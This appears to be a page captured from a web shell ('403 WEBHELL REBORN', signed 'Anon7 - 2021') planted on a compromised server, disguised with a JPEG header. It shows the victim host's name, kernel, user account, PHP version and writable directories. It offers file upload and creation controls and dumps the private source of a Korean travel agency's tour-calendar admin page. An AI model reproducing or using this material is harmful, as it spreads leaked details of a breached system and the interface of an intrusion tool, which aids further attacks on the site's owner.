ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/m_good/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/m_good/b2b_tour_calendar.html
<?
include $_SERVER['DOCUMENT_ROOT']."/admin/include/m_top_agent.html";

// 레이어 팝업 출력
include $cf['path']."/tmbi_popup/popup_layer.php";

if(!$B2b){
	$B2b = new B2b();
	$langInfo = $B2b->langInfo();
}
$search_lang = (!empty($search_lang))? $search_lang:$langInfo['lang'];
$kcitys = $B2b->to_area_city($search_lang); //모든 한국도시
$weekArr = $B2b->weekArr;
if(empty($tour_state)) $tour_state = 'open';
if(empty($period_yy_s)) $period_yy_s = date('Y');
if(empty($period_mm_s)) $period_mm_s = date('m');

$opt['Cidx'] = $search_city; //투어지역
$opt['kind_code'] = $search_kind; //투어종류
$opt['search_word_s'] = $search_word_s; //키워드
$opt['lang'] = $search_lang;
$opt['tour_state'] = $tour_state;
$opt['ym'] = $period_yy_s.'-'.$period_mm_s;
$opt['agent_id'] = $TK_MEMBER['mb_id']; // 대리점회원

$eventList = $B2b->dateEventNew($opt); //행사 리스트, open,close 개념 변경

// 이전달, 다음달
$period_s = $period_yy_s . "-" . $period_mm_s . "-01";
$period_l = date('Y-m', strtotime("-1 month", strtotime($period_s)));
list($period_yy_l, $period_mm_l) = explode("-", $period_l);
$period_r = date('Y-m', strtotime("+1 month", strtotime($period_s)));
list($period_yy_r, $period_mm_r) = explode("-", $period_r);

// 여행상품예약 클래스
$GoodReserv_class = new GoodReserv();
 
// 투어달력 데이터
$date_s1 = $period_yy_s . "-" . $period_mm_s . "-01";
$date_s2 =date('Y-m-t', strtotime($date_s1)); //마지막일
$dateArr = getDatesFromRange($date_s1, $date_s2);
$dateNum = count($dateArr);

// 시작일 요일
$weekNoFirst = date('w',strtotime($dateArr[0]));
?>
	<style>
		.label_block {text-align:center;}
		.label_block li {float:left; margin-left:5px;}
		.label_btn {display:inline-block; border-radius:3px; border:1px solid #333; color:#333; cursor:pointer; text-align:center;  
		padding:4px 5px 5px 5px; margin-top:3px; margin-right:3px; font-size:11px;}

		.date_block i {vertical-align:top;}
		.date_block span{display:inline-block; margin:0 15px; font-size:22px;}

		/*테이블 헤드 픽스*/
		.container {height: 700px; overflow: auto;}
		.fixedheader{position: -webkit-sticky; position: sticky; top: 0; border-top: 1px solid #777 !important;}
		.fixedheader_2{position: -webkit-sticky; position: sticky; top: 42px;}
		.fixedheader_3{position: -webkit-sticky; position: sticky; top: 83px;}

		/* 달력 */
		.color_type1 {background-color:#f2f2f2;color:white;}
		.color_type2 {background-color:#478fd1;color:white;}
		.color_type3 {background-color:#ffc000;color:white;}
		.color_type4 {background-color:#00b050;color:white;}
		.color_type5 {background-color:#ff0000;color:white;}
		.card_calendar {display:inline-block;}
		.card_calendar li{width:calc((100vw - 96px) / 7); float:left; margin:2px; font-size:9px; height:22px; line-height:13px; color:#DDD; padding-left:1px;}
		.card_calendar span{float:right; font-size:12px; font-weight:bold; padding:6px 2px 0 0;}
		.card_calendar .color_yoil {background-color:#DDDDDD; color:#333; font-size:12px; text-align:center; line-height:21px;}
	</style>

<!-- ******Contents****** -->
<div id="contents" class="main">
	<div class="m_title"><?=_e2('투어확정달력')?></div>

		<div class="contents_detail">
			<div id="Content_box">

				<div class="date_block" style="font-size: 20px; font-weight:bold; text-align:center; padding:10px;">
					<a href="#" period_yy="<?=$period_yy_l?>" period_mm="<?=$period_mm_l?>"><i class="xi-play-circle xi-rotate-180"></i></a>
					<span class="date_text"><?=$period_yy_s?>.<?=$period_mm_s?></span>
					<a href="#" period_yy="<?=$period_yy_r?>" period_mm="<?=$period_mm_r?>"><i class="xi-play-circle"></i></a>
				</div>

				<ul class="label_block" style="width:330px; margin:10px auto 0;">
					<span class="label_btn color_type2"></span> <?=_e2('예약가능')?>&nbsp;
					<span class="label_btn color_type3"></span> <?=_e2('출발대기')?>&nbsp;
					<span class="label_btn color_type4"></span> <?=_e2('출발확정')?>&nbsp;
					<span class="label_btn color_type5"></span> <?=_e2('예약마감')?>
				</ul>

				<!-- 폼 -->
				<form name="frm_list" id="frm_list" method="get">
				<input type="hidden" name="SqlType" value="chg_order_state">
				<input type="hidden" name="period_yy_s" value="<?=$period_yy_s?>">
				<input type="hidden" name="period_mm_s" value="<?=$period_mm_s?>">
				<?
				if($eventList) {
					foreach($eventList as $key=>$row) {
				?>
				<div class="list_card">
					<div class="card_title">
						<?=$row['date_type_nm']?>
					</div>
					<div class="card_subtitle" style="display:inline-block;">
						<?=$row['tour_code']?>
					</div>
					<div class="card_badge" style="float:right;">
					<?
						if($row['dateNum']>0) {
							echo '<div class="badge badge_green">OPEN</div>';
						} else {
							echo '<div class="badge badge_red">CLOSE</div>';
						}
					?>
					</div>
					<div class="card_calendar">

					<li class="color_yoil">SUN</li>
					<li class="color_yoil">MON</li>
					<li class="color_yoil">TUE</li>
					<li class="color_yoil">WED</li>
					<li class="color_yoil">THU</li>
					<li class="color_yoil">FRI</li>
					<li class="color_yoil">SAT</li>

					<?
					for($i=0; $i < $weekNoFirst; $i++) {
						echo '<li></li>';
					}

					foreach($dateArr as $k=>$v) {
						$detail = $B2b->dateDetail($row['g_uid'],$row['dtid'],$v);
						$className = ' class="color_type'.$detail['colorType'].'" ';
						echo '<li '.$className.' '.$title.'>'.($k+1).'<span>'.number_format($detail['d_people1']).'</span></li>';
					}
					?>

					</div>
				</div>
				<?
					}
				} else {
				?>
				<div class="list_card" style="text-align:center;">
					<?=_e2("예약 가능한 상품이 없습니다.")?>
				</div>
				<? } ?>

				</form>
				<!-- 폼 -->

			</div>
		</div>


	</div>
</div>


<script type="text/javascript">
$(document).ready(function(){
	$(".date_block a").on("click", function(){
		var yy = $(this).attr('period_yy');
		var mm = $(this).attr('period_mm');
		var f =document.forms['frm_list'];

		f.elements['period_yy_s'].value = yy;
		f.elements['period_mm_s'].value = mm;

		f.submit();
	});
});
</script>



<? include $cf['path']."/admin/include/m_footer.html"; ?>

Anon7 - 2021